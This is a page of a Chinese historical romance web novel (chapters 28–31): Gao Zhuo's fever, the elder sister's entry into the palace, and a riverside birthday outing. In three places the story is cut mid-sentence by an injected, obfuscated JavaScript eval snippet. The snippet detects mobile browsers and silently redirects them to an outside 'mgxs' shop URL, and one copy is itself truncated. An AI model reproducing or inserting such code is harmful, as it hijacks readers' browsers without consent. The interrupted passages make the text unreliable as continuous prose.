紫英和忆欢,二人围着荷花池兜了好几圈。紫英正焦头烂额之际,忽地发现花燕又没老实的待在小姐身边,她无奈求救喊道:“花燕姐,花燕姐你在哪,你快帮我拦住小姐啊。” 花燕从后花园走进来,手上还端着一碗冒着热气黑乎乎的药汁。她砰的一声将盘子放在桌上,冷声对忆欢喊道:“药要凉了,赶紧来喝。” 听到花燕姐放碗的声音,忆欢整个人都被她震慑住。她恋恋不舍地回头看了眼莲蓬,磨蹭着到桌前痛快地喝完药。期间,还不忘观察着花燕的脸色。 紫英见此,长舒一口气,果然还是要花燕姐这样的冷面少侠才能威慑住调皮的孩子。 “忆欢,你看小叔叔给你带什么回来了。” 高琢顶着一张红得不正常的脸,跌跌撞撞的走进来。他将食盒往桌上一放,打开盒子,露出里面精致小巧的栗子糕。 忆欢看着白瓷盘内圆滚滚的栗子糕欣喜道:“和在家乡时吃的一模一样唉。” 她迫不及待地吃了一块,激动道:“中间也有一颗完整的栗子,而且味道也好像。小叔叔,你是从哪买到的。” 高琢感觉自己整个人晕乎乎的,他晃了晃晕晕的脑袋笑着说:“不是买的,是…是一个好心的姐姐特意让我带给你的。她知道你想家又回不去家,想着让你尝尝家乡的点心也好。忆欢也别全吃光了,给你阿爹和尘起哥哥留一点。” 忆欢停下吃糕的动作,盯着高琢身上没见过的白色的披风问道:“那个好心的姐姐就是是给小叔叔披风的姐姐吗,是她给忆欢的栗子糕吗?” 高琢茫然地低下头,发现自己还穿着阿缘的披风,他懊恼不已,光顾着劝阿缘回去休息了,自己忘记把披风还给她了。两人说了好一会儿的话,也不知道阿缘有没有着凉。 忆欢见高琢脸色不对,踮起脚试了试小叔叔的脑袋才发现他生病了。 “小叔叔你的头好热啊,赶快回房休息去吧。” 忆欢态度强硬,不容高琢拒绝,直接推着高琢回到房间休息去了。紫英见状,本想去请大夫却被花燕拦下。 花燕开口劝道:“你细心些,在这守着小姐。我腿脚快,去请个大夫回来顺便去告诉统领大人。” “那好,花燕姐你早去早回。” 大夫来得很快,一诊脉,就知高琢是得了风寒,大夫立刻开好了药方,嘱咐道:“服几贴药多休息就能好,但这几日切勿再着风了。” 紫英在高琢院外焦急等着小厮抓药回来,却见高羡提着药一脸焦急地赶回来。 “小琢怎么样了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091218|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 紫英看高羡一脸焦急的样子,甚至连官服都还未曾换下。她连连宽慰道:“不妨事的大人。大夫已经来看过了,说是着了风寒,喝几副药好好将养就没事了。” 高羡听后放下心来,嘱咐道:“小琢之前生过大病,体质不同于常人,风寒不能用热性的药需用寒药来治病。忆欢毕竟还是孩子你也在这守着点,他现在烧糊涂了离不开人。我去给他煎药。” 屋内,梨花木床上高琢额上满是汗珠,浑身更是烫的吓人。他身上还紧紧裹着那件披风,紫英原本想替他脱下,让他舒服地躺着,高琢硬是死死抓住披风,不让任何人解开它。紫英知是他心爱的东西,怕两人拉扯会弄坏披风,于是才作罢。 忆欢体贴的替高琢换着额上的湿毛巾,时不时还试试他的体温。 “阿缘,阿缘……” 忆欢听到陌生的名字不由好奇,俯身凑道高琢身边仔细听着他念叨的名字。 阿缘,是阿琢哥哥的心上人吗? 忆欢托着腮,望向床上高琢的样子。她虽然还是孩子,但她明白父亲想要的与阿琢哥哥追求的东西不一样,阿琢哥哥是为了她才留在家里的。可留在家里,让他很为难也很痛苦。 她才没那么坏,为了自己开心让阿琢哥哥和他喜欢的女孩子分开。昨晚阿琢哥哥不告而别她一时接受不了而已,而且哥哥又不会离开他太远,那个姐姐家也在盛安,姐姐家里还有好吃的栗子糕,她很喜欢这个善心的姐姐。 厨房内,柴火的火星噼里啪啦的燃烧,药罐内升腾起热气,夹杂着让人无法忽视的苦味。高羡垫好厚厚的帕子掀开药罐,罐内的药汁变成深棕色,药材都被煮透了。 他拿起碗,小心翼翼地倒出药,又打开用油纸包的梅子放进小碗中。 高琢自小就吃不了苦的东西,他得给他备着压苦味儿的东西。 熬药的小土灶在厨房的一角,又闷又热,高羡熬药时被热得头脑发晕。他粗粗地擦去额上的汗水,端着药进了高琢的屋子。 给高琢擦的冷水是从院里的老井中打的,井水冰凉刺骨,忆欢的手指因为拧帕子和泡在井水中已经变得红肿。 高羡放下药,心疼的抽过忆欢的手里帕子,“回屋休息吧,阿琢哥哥阿爹来照顾。” 忆欢乖巧的点头应好,小跑着从屋外端来栗子糕给高羡。 “阿爹,这个栗子糕和家乡的味道一模一样,你累了就吃。忆欢特意为你和尘起哥哥留的。” 高羡摸摸忆欢的小脸,“好,阿爹记下了。” 高羡扶起迷迷糊糊的高琢,又端过药给他,“药凉了药效就会失去大半,赶紧趁热喝。” 浓稠苦涩的药汁还冒着白气,熏得高琢清醒了大半。药味苦涩,让他忍不住有些作呕,可碍于兄长的叮嘱,他只好捏住鼻子,一口气将药灌下去。 浓郁的苦萦绕在舌尖久久不散,呼吸间,舌尖都被残留的余味苦得发麻。 高琢捧着碗,看着喝空的碗底闷声道:“兄长,我要喝几碗啊。” 高羡接过空碗,递上酸甜的梅子回道:“一日三碗,不出五日就好了。不碍事的。” 高琢没吃梅子,大颗的泪珠从他脸上滑落,直直砸到梅子上。 “兄长,好苦啊。这么苦的药她居然喝了十八年,难怪她那般瘦。天天喝这种东西,怎么会有胃口吃饭呢。我心好疼啊兄长,她一个人默默吃了这么多的苦。” 高羡气不打一处来,一把抢过梅子,顺手狠狠敲了高琢的头,“不吃拉倒,我巴巴赶回来照顾你,你还心疼上别人了。等着,我去给你做饭,看你喝了苦药后有没有胃口吃饭。” 29. 宫门深 离心碎 八月末旬的盛安,细密的雨丝接连下了数日,连干热的空气都泛出丝丝湿意,所到之处满是雨后的清香。 自童谣案告破后,皎皎经常半夜偷偷翻墙来丞相府与姚映梧聊天。有一次,她费尽心思带进来一只鸽子,说是肖家在战场上训来传信的。她送给姚映梧一只,方便她去蔺州后,她们二人平日空闲时也能联系。 那日两人聊到深夜,临别时,肖遥还特意提醒了她一句,这鸽子不仅能飞远的地方,还能飞过特别高的城墙,比如说皇城啊,承天门之类的。 姚映梧立刻就领悟的她话中的意思,有了这只鸽子,她就可以与长姐偷偷通信了。 等云昙病好以后,青萝急忙开始教她喂养鸽子,打理花圃,还叮嘱她怎样才能照顾好梧桐树上爱叫的一家鸟儿。 一开始,云昙总是云里雾里。花圃内,许多无辜的幼苗被她当作杂草扔掉。一向稳重的青萝第一次气道说不出话来,支吾了半天,只叹口气敲了敲云昙的脑袋。 云昙苦着脸道:“青萝姐,不怪我的,谁让它们长这么像。日后我分不出来,你再教我不就好了吗?” 青萝知道云昙不想她离开,她难得板起脸,“他日我若入宫去了,你难道还去苍平宫抓我出来问不成?而且,以后就你贴身照顾小姐了,云昙,我在宫中怎么能放心得下。” 自那天以后,云昙下了苦功夫。日夜都在认花,记养花的事项。渐渐得云昙开始得心应手起来,唯独那只信鸽她搞不定。 鸽子通体雪白,性格亲人,只是有些挑食,最爱吃豆子。云昙每日都要与它斗智斗勇,还好,总是赢多输少。 姚映梧每日赏雨时,都习惯顺手为它添食,还给它取了个名字,木樨。 今日,天上又下了细密的雨丝。长姐院中的桂花开了,姚映梧坐在窗前细嗅着空气中若有似无的香味。她提笔写下信笺,让木樨带去给肖遥。 昨日,定远侯及夫人与归京的部分铁甲覆面军开赴蔺州。肖遥毫不意外的被以生辰将近的借口留在了盛安。陛下本想让肖遥进宫住段日子也正好陪着皇后解闷,肖遥却借说祖父身体不好,推辞留在了定远侯府。 肖遥最近心中郁闷,这两日没翻墙来找她聊天,她很是忧心。 姚映梧将木樨抱出笼子,见它迎着雨飞远的身影不由叹了一口气。唉,她这几日也不怎么好过,连绵的阴雨天,父亲借担心她的身体,不许她离开院子。她知道,父亲那日见到她与高琢了,不想让两人再有牵连。 除此之外,父亲还不许她再见长姐了。他说她不该惹哭贤妃娘娘,害她入宫前徒生百般忧愁。 离长姐入宫的日子越来越近,好巧不巧,就在她生辰的前一日。她叹了又叹,却也无可奈何。她心里几番斗争,还是听了父亲的话。 她没能再与长姐吃最后一次桂花糖糕,也不知道高琢的病怎么样了…… 给肖遥送信的木樨很快就拍着翅膀飞了回来,信笺上,肖遥画了一张仰脖子大叫的生气白鹅,逗得姚映梧笑了出来。 越是贪恋的日子总是过得越快,只一眨眼就过去了。 深夜,姚映梧躺在床上久久不能入眠,一觉醒来后,长姐就要入宫了。 窗外传来久违的窸窸窣窣声,姚映梧惊喜地起身,打开窗户道:“你今日怎么来了?” 肖遥从窗外探出身子,纵身翻进屋内。 她拍拍手上的灰,打趣道:“你们丞相府的守卫也太差了,这都没人发现我。” 姚映梧关上窗,笑道:“要是以肖遥将军的身手,翻进屋子都被家丁发现,那也太有损肖家的威名了不是。” 肖遥轻车熟路坐到桌前,吃着金乳酥道:“今日你没给我写信,我一打听才知你长姐明日就要入宫了。后日是你我的生辰,陛下邀我入宫赴宴,你长姐肯定去。我特意来问问你,你要同我一起入宫去见你长姐吗?你要是想见,我就不回绝陛下了,带你偷偷入宫,怎么样?” 姚映梧给自己和肖遥倒好茶,压低声音道:“陛下认得我,我怎么偷偷溜进宫呢。而且陛下为你办生辰宴,你回绝那不驳了陛下的面子。” 肖遥无所谓道:“红豆早年在江湖上行走学过易容术,她帮你易个容你混进去很容易的。陛下说来说去,还不是要我挑个夫婿。他总想让我多亲近些二皇子与五皇子,可他们都成婚了,还都大我许多。明知是是场鸿门宴,我还去干嘛。” 姚映梧长叹一声,“看来做肖家女也很不容易。” “唉,顺着陛下的心意来就容易了。可我才不愿做皇权下的傀儡呢,连婚嫁都得听他的。” 姚映梧见肖遥满脸的惆怅,回道:“不用的皎皎,若我只是为了见长姐就逼迫你去赴宴,那我们还算什么朋友。” 肖遥放下手中的茶杯,眨着眼睛道:“无妨的阿缘,我愿意的。” 姚映梧摇了摇头,“不要皎皎,若你这次松了口,下次就是不想妥协也必须得妥协了。你送给我木樨,我能与长姐偶尔通信就很好了。” 肖遥点点头,道:“那好,我听你的。对了,差点忘记告诉你,别在高羡当值时送信,他不知道为什么对信鸽格外敏感,第一天当值,就抓到过跑丢的飞奴。” 姚映梧点头记下。入夜后,肖遥教她怎么训练木樨,让她准确飞去长姐的身边,木樨学得很快,替她和长姐传了几封信笺。肖遥没有打扰姐妹两人叙旧,训好木樨就离开了。 丞相府的夜空,木樨的身影直直飞到夜半三更才停。 天光刺穿厚厚的云层,雨后初晴。 丞相府上下经过几日雨水的洗礼显得焕然一新。府内,仆役们提前将里里外外清扫了数遍。今日从管家到仆人,全都着换上了新衣,恭敬的等在大门外。 暗香院内,姚昭桦换上妃制的华服,头戴花冠钗,满头珠翠。 章麓泽轻抚着姚昭桦的华服,眼眶微红的嘱咐道:“桦儿,入宫后,若遇到什么难事就去找贵妃娘娘帮忙。她是我的姑母,也是你的亲人。你自小聪慧懂事,母亲只嘱咐你一句,陛下与太后娘娘远没有表面那般和睦。我在宫内做女官时,我能感觉到太后娘娘对我的态度一直不似对其他人那般温和。总之,你要小心。” 透过铜镜,姚昭桦望着母亲的脸不解地问道:“为何太后对您有心有芥蒂呢?” “桦儿此事我也只是猜测。太后来朝和亲时听说她不知为何曾走失过一段日子,后来先帝处斩了当时的送亲的将军牧念汝,即使太后出面求情也没保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104166|195160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下她。而且当时她还有孕在身。陛下当时是太子,先帝把和亲之事全权交给他,姚章两家为了不让此事牵连到陛下,只好让她与其牧氏一族承担罪责。” “牧念汝…是被赐皇姓的姜家后人……母亲,女儿,明白了。” 章麓泽替姚昭桦理好披帛,“近些年,兰诏虽表面为我大邺附属之国,借大邺的庇护暗暗发展国力日益强盛。难保兰诏不是因为公主的事怀恨在心,一直在等待时机起事。如今正是乱世,桦儿你在宫中一定要小心。时辰也差不多了,咱们走吧。” 姚昭桦起身,最后回头看了一眼桌上冷掉的桂花糖糕,“走吧,母亲。” 嘟,嘟—— 宫内的使者到了门外,一系列繁琐的仪式举行完后,姚昭桦登上厌翟车随着接驾使一路驶入宫中。 车轮滚滚前行,伴着吱呀的声音传到远处。姚映梧望着长姐渐渐远去的背影,眼眶逐渐湿润。一入宫门,不知何年才能再见到长姐了。 不知道她还能不能再和长姐一同吃一次和羹居的桂花糖糕…… 长姐入宫后,府上众人又开始着手忙碌姚映梧的生辰宴。 母亲见她兴致不高,来疏雨院宽慰了她好一会儿。临走时,母亲问她明日生辰宴想要什么,姚映梧哽咽了几声,还是答道:“母亲,我明日不想过生辰宴了。” 母亲站在门口一下子愣住,半晌她笑着回道:“好,阿缘。母亲听你的。” 母亲走后,姚映梧的疏雨院顿时静了下来。青萝跟着长姐离开了,云昙正躲在屋子里偷偷哭着。她躺在床上,眼角不受控划下一颗眼泪。 长姐走后,父亲在疏雨院门口训斥了几个服侍过长姐的小厮和丫鬟。说长姐入宫是光耀姚家满族的事,谁都不许哭。再让他看到,就全都赶出府去。 姚映梧路过疏雨院,本想去再看看长姐长大的院子。她无意听到这话后,只默默擦干了眼泪,没再像小时候向父亲的沉着冷静投去崇拜的眼神。 她现在才知道,原来父亲先是陛下的臣子,而后才是她们的父亲。可惜,这个道理她花了十几年才明白。为了家族的荣誉,原来要牺牲这么多。 从前她怎么会一直傻傻的听父亲的话,犹豫着远离至亲好友与心上人,无视着长姐为家族牺牲的一切。告诉自己,没事的,这是身为姚家人为了家族都会去做的。 可她是长姐啊,是娘亲留给她唯一的血脉亲人啊。 为了家族的名声,她留眼泪的资格都没有了。 长姐,明明我们答应过娘亲,会一起长大,相互陪伴的…… 夜深人静,天上只点缀着点点星光。 疏雨院内,至今未掌灯。姚映梧累极了,躺在洇湿的软枕上睡着了。 她做了一个梦,梦里她在娘亲的腹中,娘亲正坐在花圃旁,同青萝和长姐讲着怎么修剪花枝才能让花的长势更好。 身旁的长姐只听了一小会儿,就眼皮沉重的躺在贵妃塌上熟睡过去。 娘亲见状扶着肚子笑了好久。笑完,她又起了逗弄孩子的心思,喊着青萝一起,将盘子里的桂花糖糕全部都吃光了。 长姐睡醒后,望着空空的盘子大哭起来,吵着闹着还要娘亲再做一盘甜滋滋的桂花糖糕…… 30. 准备过生辰 盛安从未下过这么久的雨。只放晴了一个白日,入夜后,又是一场暴风雨。 大雨裹挟着狂风,将云昙刚栽好的花苞尽数卷起,娇嫩的骨朵儿没经历过大风雨,只不过一晚的功夫,花圃中一大半的花都死去了,只剩下满地的残叶。 暴雨过后,又是一个阴雨天。 姚映梧梳洗好,照旧坐在窗前发呆。云昙正将花圃内的落花清扫起来,学着记忆中青萝的方法,将其埋进树下。 木樨在笼子里一边扑腾翅膀,一边咕咕地叫个不停。它不明白主人今日是怎么了,坐到窗前怎么不来摸摸它的脑袋,还忘记给它添食了。 木樨的叫声与往日不同,声音带上了些许凄惨,姚映梧听到后立刻缓过神,走到它面前打开了笼子门,还给它添上了新鲜的鸽食。 姚映梧愧疚地摸着木樨的脑袋,“抱歉啊木樨,我把你给忘了。” 有了食物,木樨显然没工夫理会伤感的主人,在食盆中埋头苦吃。 “小姐,您尝尝我新做的栗子糕怎么样。” 云昙端着糕进门来,她双眼红肿一看就是昨晚大哭了一场。 她放下栗子糕,自顾自碎碎念道:“上次做糕三少爷看见了,吵嚷着要我病好以后给他做一模一样的。最近跟青萝姐一直在学打理花圃,耽搁了许多日子。一会儿三少爷要来给小姐送生辰礼,我就想着补给他。” 姚映梧拉住云昙的手,轻声道:“去休息吧云昙,等会儿明桉来了,我把糕给他。今日我想一个人出去走走,你不用跟着。” 云昙想拒绝的话还没说出来,她只张了张嘴就被姚映梧劝住了。 “云昙,你看你眼睛又红又肿,一会儿煮两枚鸡蛋滚滚,长姐说这样最有效了。” 门外的小丫鬟抱着两个木盒走了进来说,三少爷身边的小厮送来了盒子,里面是给小姐的生辰礼。三少爷昨夜偷懒被丞相大人罚了,天不亮就去书房读书了。 云昙接过盒子将它们抱给小姐,看着糕点惋惜道:“可惜我做的糕了。” 姚映梧打开小一点的黑色木匣,里面装着一只成色上好的九玉连环。玉环的玉质温润,触手还带着暖意。 “这是,利鹘暖玉?据说闼鞑攻进利鹘国都时,戈罗哈吉下令炸毁了了暖玉矿,如今这么大块的暖玉真是不多见了。” 小丫鬟回道:“那小厮说,三少爷见小姐平时就靠解九玉连环和看大观游记打发时间,普通的翡翠毕竟性寒,有了这暖玉做的玉连环,到了秋冬小姐解闷的时候就不冰手了。 姚映梧谨慎的将九玉连环摆进盒子,嘱咐云昙收好。又将底下大些的红木盒子放到桌上。 盒子经过长年累月的桂花香浸染,已然成了桂香味的木头,姚映梧凑道盒子前细细嗅了嗅,嗯,是长姐最爱用的熏香。 红木盒子里,装得是一支桂花老树的枝桠,枝桠下是长姐留的一封信笺。 “阿缘,这是你出生后娘亲手种给你的桂树,可你自幼生病,不能接触到花粉,娘亲只好又将它移栽到了我的院子里。如今,你病已然大好,桂花树你就栽到院中吧。” 细密密的雨丝不知何时停了,厚重的云层也悄然褪去,偶有几缕顽强的阳光能透出云层照在地面上。昨日空气沉闷的疏雨院,如今院中满是清新的泥土芳香。 姚映梧拭去眼泪,郑重将信放回盒中,然后与云昙一起将桂树枝种到院里的梧桐树旁。雨后的土壤湿润,两人沾了一手的泥。 两人洗完手,又换了身衣服。姚映梧看着突然放晴的天又转头望向桌上的栗子糕,她心中生了去探望高琢的心思。 呜呜——呜—— 窗外一阵陶埙声,木樨像是得到指令般,扇着翅膀从窗户飞了出去。 云昙赶忙去关窗户,还是没拦住木樨。她大惊失色道:“小姐,别担心,我这就带人去抓。” 姚映梧没作声,远远望着木樨朝着侧门的方向飞过去了。她安慰道:“无妨,是埙声。它去找皎皎了。” 姚映梧将糕点收进食盒,一路跟着木樨的身影寻到了侧门。 门口的树下,高琢笑嘻嘻的看着她,肖遥正逗着木樨,牧泓屿站在肖遥身旁看着她笑。姚映梧浅浅勾起嘴角,看着几人,她突然觉得好像什么都没变。 高琢笑盈盈的迎上来,接过姚映梧手中的食盒,“阿缘,我这几日病好以后,就出来寻了处宅子。昨日我刚买下来,正好今日咱们聚得齐,你们来看看我的新宅子怎么样。” 姚映梧听了高琢的话很是惊讶,“盛安的宅子可不便宜,你怎么有这么多钱?” 高琢不好意思垂下头,靠近姚映梧耳边悄声说:“嫂嫂生前给我和忆欢一人留了一个祖上传的宝贝,我原本也一直想着卖了好换些金银,以防再有战乱。如今来了盛安,生活安定,那不如买处宅子搬出来。以后…我不会再回高家了。你父亲,应该就不用提防着我了。” “我父亲?” “阿缘你不知道吗?前日你父亲与高羡因为奏状一事在陛下面前起了争执,丞相府上的家丁说不许姓高的来姚府呢。昨日我来寻你的时候,正好看见几个家丁赶高琢走呢。” 肖遥说完,吹响陶埙让木樨又原路飞回去。她叹了口气,“听说你父亲今日休沐,要不是怕惊动你父亲还得跟他寒暄个半日,我就不用这个法子引你出来了。” 姚映梧不由惊叹道:“没这几日居然发生了这么多事。” 牧泓屿站在肖遥身后沉默了好一会儿,纠结片刻还是开口道:“皎皎昨日传信给母后,说她和高琢商量着你们二人要一起过生辰。童谣一案了结后,咱们几个确实也许久没见了,不如今日借此机会同乐。那个…映梧,昨日我见到你长姐了,她很好。我昨夜翻阅旧礼典时得知,皇祖父那时,就曾有一位礼聘入宫的妃子母族得了战功,他兄长将她接出宫的先例。” “真的吗,那她住的地方好不好?”姚映梧忍不住追问道。 肖遥安抚地拍拍她的肩,“放心吧,苍平宫很好。姑母特意安排的,离太后的福乐宫很近,陛下一年也去不到三回,你长姐见不到陛下的。” 姚映梧咬着唇,止不住颤抖道:“那就好,那就好。只可惜我天生病弱,没法换得军功接出长姐。日后,我一定想出一个办法接她出宫的。” 高琢见阿缘如此伤心,实在是于心不忍,心中改了庆祝生辰的计划。 “不如我们先去宫外钓鱼怎么样,钓鱼喝酒过生辰,肖遥在一旁舞剑,泓屿吹埙伴奏,阿缘给大家讲书上的趣闻,我给大家作画,等画好了咱们一人一张。以后咱们几个的生辰,我们都一起聚一起作画,如何?” 姚映梧眼神一亮,立刻应道:“甚好,等我回去拿几只孔明灯,我们一起放,一起许愿。以后大家的生辰我们都在一起过,等百年以后岂不成一段佳话。” 牧泓屿笑着打趣道:“到那时候,高琢还不知道能画动这么多画了?” 高琢也大笑着回嘴,“还说呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一路人浩浩荡荡,巳时便乘着马车一路悠哉的朝城门而去。 城外的泥土路因为长时间下雨路面泥泞,马车不好走,只能慢悠悠的前行。肖遥掀开帘子,见还有好长时间才能到地方,便从袖中掏出一把玉柄匕首给了姚映梧。 “阿缘,给你的生辰礼。匕首你方便带,藏在袖中很难发现的。日后我教你用,保你一击必杀。等你学会后,就没人能近身伤你了。” 姚映梧开心地接过匕首,“太好了,那我以后也能自保了。” 姚映梧也从袖中一个锦盒,打开是两块玉坠。她压低声音道:“皎皎这是一对儿,是我父亲剿灭利鹘遗祸时陛下赏的暖玉。我希望,这个平安扣玉坠能保你次次平安,场场战役都能得胜归来。而且,在利鹘圆形也暗含情人永不分离,日后,你将它给你心爱的男子吧。” 肖遥望着掌心中温暖的平安扣,感动地点点头“阿缘,借你吉言。若我日后还能上战场,有了这玉坠保佑,一定能得胜归来。” “前面就是小河了,我们要到了。”牧泓屿出声提醒道。 高琢自出了泥路就一路驾马车狂奔,在正午前赶到了河边。 姚映梧好奇道:“高琢,你会烤鱼吗?” “驾,驾。”高琢抽着马鞭自豪道:“那是自然,我烤鱼的功夫可是红豆姐亲自教的。” 高琢一句话却让车内两人登时变了脸色,高琢竟也认识红豆! 31. 生日吟 车内两人面面相觑,肖遥压低声音道:“可我怎么从来没听红豆提起过高琢。” 姚映梧沉思片刻,费解道:“许是重名罢了,我记得高琢曾跟我提过,他家乡的姐姐们都已经离世了。” 肖遥长舒一口气,拍拍胸口,“那我就放心了,红豆的身份毕竟不便向人透露哦,更别说是高家了。” 姚映梧皱眉道:“皎皎,你回去还是向姜燃姑娘确认一下,若他们真的认识,其中恐有隐情。以防万一,我们二人日后还是暂称她的名字吧。” 肖遥赞同地点头,“还是阿缘你想的周到,等我回去就问问红…问问姜燃,看她和高琢认不认识,之间有什么隐情。” 吁—— 高琢勒马的声音传到了马车内,两人默契的住声,一前一后下了马车。 雨后,树木的叶子经过几日不断的雨水冲洗,透出一种别样的绿色。河边的矮草丛,偶有几只蜻蛉飞过驻足。草叶上坠着水珠,新发的嫩芽是浅浅的青色,一凑近,便是扑鼻而来的青草香。 今日,是阴雨连绵时最难得的大晴天,几人只草草铺了张大草席,拿出准备好的酒食跟纸笔便席地而坐,赏起景来。 秋初,河边没有盛安的闹市中那般热闹,带着水汽的空气格外清新,就连姚映梧都暂时忘却掉昨日带给她的痛心彻骨。 几人吹着小风,晒着盼了许久的太阳。高琢休息片刻,就悄悄拿起笔,在画纸上勾勒出至交好友的样貌。 与肖遥一起安静的坐在河边让牧泓屿惬意的眯起眼,他随口问道:“你们说,要是我们每年都到一个地方同庆生辰,高琢日后得画成多少张画啊?” 沐浴着日光,肖遥心情舒畅。她顺嘴接道:“一年三张,画上他一甲子,怎么不得百十张啊。” 话毕,空气静了一瞬,一时不知为何竟无人再说话。 画百十张,肖遥没敢真的算出具体的数目,战场上刀剑无眼,她也不敢保证她还能不能赴大家的约。或是最不好的结果,她必须成为肖家与皇室的羁绊,一辈子都不能出宫,更一辈子不能再赴约…… 牧泓屿第一次不知道如何接住阿遥说的话,父皇最近隐隐有病情加重样子,朝臣们蠢蠢欲动,牧泓屹一党与五哥一党间党派之争愈演愈烈。牧泓屹自小就讨厌他,处处不给他好脸色,若不是小时候五哥和母后会护着他,他估计早就被牧泓屹用什么莫须有的罪名除之而后快了。 他能感觉到,父皇似乎更属意牧泓屹,若真的是牧泓屹坐上帝位,他该如何与阿遥在一起,怎么赴好友之约…… 高琢也没敢接话,只是手上不停地画着。阿缘的长姐入宫,她自是难受的紧。想来昨夜应该也哭了许久,他为了阿缘,为了她能与长姐团圆,他一定要好好练武,到时候进铁甲覆面军早立军功。 他没肖遥那么大的抱负与理想,只想能与心爱的长相厮守,让她每日都高兴,只是那战场远在千里之外,一去不知何日能回转。他也不知何时才能再赴约了…… 姚映梧嘴角上虽噙着淡淡的笑意,心里却如刀割般心痛。自窦花娘死后,她心中一直有个疑问,她不敢问,也不敢想,更不敢去查。只是每十日按时服下红豆给的药,来压制她的病。 长姐要离家的几日里,她痛苦到模糊了服药的日子,半夜胸口处的疼痛直接令她从梦中惊醒,她颤抖着爬起身,喉间的咳却无法压抑住。她狼狈的打翻了几碗茶水,才堪堪将药服下。若没了这药。她不知还能活几年。她不敢承若,怕再也不能赴约…… 几人心里都没有答案,谁都不敢再说话。 日光耀耀,水面波光粼粼。水雾升腾,天弓横跨云间。 作画的高琢最先看见,指着众人身后喊道:“快看,是天弓。好漂亮啊。” 几人惊奇地同时转身,见天弓七彩间清晰分明,莫不赞叹。 天弓下,几人抛下烦恼,不管以后,只看今朝。 经过一段时间相处,四人间竟生出来了别样的默契,异口同声道:“何止是画百十张,是得画一百八十张呢。” 声音虽说同步,但有的开心,有的惊讶,有的哀怨。尤其是高琢,粗粗一算,感觉自己手都要画断了。 高琢还没来得及可怜自己的手,牧泓屿一把揽过他的肩,“走啊高琢,去钓鱼吧。” 高琢加快手上的动作,“等我画完最后几笔……” “那你可得快点,我今日抓得鱼绝对比你的多,比你的大。” “终于画完了。”高琢兴奋地收起笔道:“牧泓屿,你可别说大话,你一个皇子怎么可能比我抓鱼还厉害。一会儿,我可要拿出看家本领跟你比比了。” “好啊,比比就比比。”牧泓屿走在前头头也不回道:“高琢你输了可别找姚映梧哭鼻子。” 提到姚映梧,高琢的脸一下子红了,他握紧横刀追过去吼道:“喂!我我…我才不可能输呢,牧泓屿你给我瞧好了,我一定抓的鱼比你大多了!” 二人打闹着走远,肖遥也从地上寻了个差不多长短的木棍,“阿缘,正好现在有机会,我教你用匕首吧。” 肖遥摆好动作,猛地向前一刺,“阿缘你看好,就这样冲着肋骨处。”肖遥收回木棍,点点自己靠近心脏处的肋骨,“这儿,用匕首这样扎进去,保准一击毙命。” “是这样吗?皎皎。”姚映梧照着肖遥的样子,不协调地模仿着肖遥的动作。 肖遥看着姚映梧不到位的动作,啧了一声,直接上手指导道:“手腕还得再用些力,我拿着你的手你感觉一下力道…阿缘,你这也太瘦了,得多吃些才行。” 姚映梧讪笑道:“我自小天天喝那些苦药汁,又久在病中,身体比常人是虚弱些。皎皎我不求杀人,能不能想个别的法子,让我能起码能自保。” 长姐的事让姚映梧心里留下了无能为力的阴影,像这样没能力保护自己深爱的人,还需要躲在别人身后的滋味太痛苦了,她不想再经历一次了。只求,若到了危急关头,她就算无力改变,起码能保护自己。 肖遥把玩着匕首沉思片刻,突然道:“……有了,那阿缘你就试着改变发力方式吧。阿缘,我教你其实也只想让你自保,千万可别派上用场。” 姚映梧听到肖遥的话,笑得直不起腰来,“哈哈哈,怎么会呢皎皎,盛安安定祥和,哪用得着我这个在盛安颇有病名的病秧子拿刀动手呢。放心吧,只是城楼和长姐的事让我后怕,我不想有一天,只能躲在大家背后,我也想能做些什么。” 肖遥赞同道:“那倒也是。哎,阿缘,你看高琢钓起来一条好大的鱼啊,咱们也去瞧瞧,等一会儿有风了,咱们一块放纸鸢。过生辰吗,开心最重要。这匕首反正一时半会也用不上,你先只记好这刺入角度和力度,改日我再去丞相府陪你练。” “好,皎皎。咦?起风了,皎皎咱们直接去放纸鸢吧。” 两人说完便直接拿上纸鸢,奔着不远处的小山坡,到那放纸鸢了。 牧泓屿随手将鱼竿搭在一旁,远远眺望着肖遥开心的背影。他见阿遥开心,也忍不住勾起了嘴角。 阿遥这样开心,真好…… 扑通—— 高琢挑衅的扔来一块石子溅了牧泓屿一身水珠,他擦擦脸,又别过头去盯着肖遥。他今日心情好,不与他计较。 高琢举起自己竹筐中沉甸甸的鱼,一边炫耀一边宽慰道:“你也别现在就放弃了呀,虽说你再努力也钓的没我多,但说不定你那还有大鱼没咬钩呢。” 牧泓屿挑挑眉,直接挑明道:“我压根就不会钓鱼,我是怕她们两个挨饿才故意激你的。嗯,干得不错,我们四个够吃了,不用再钓了。” 高琢气愤的要把牙都咬碎了,可恶,亏得他还安慰他。皇室出身的人,果然恶劣啊…… 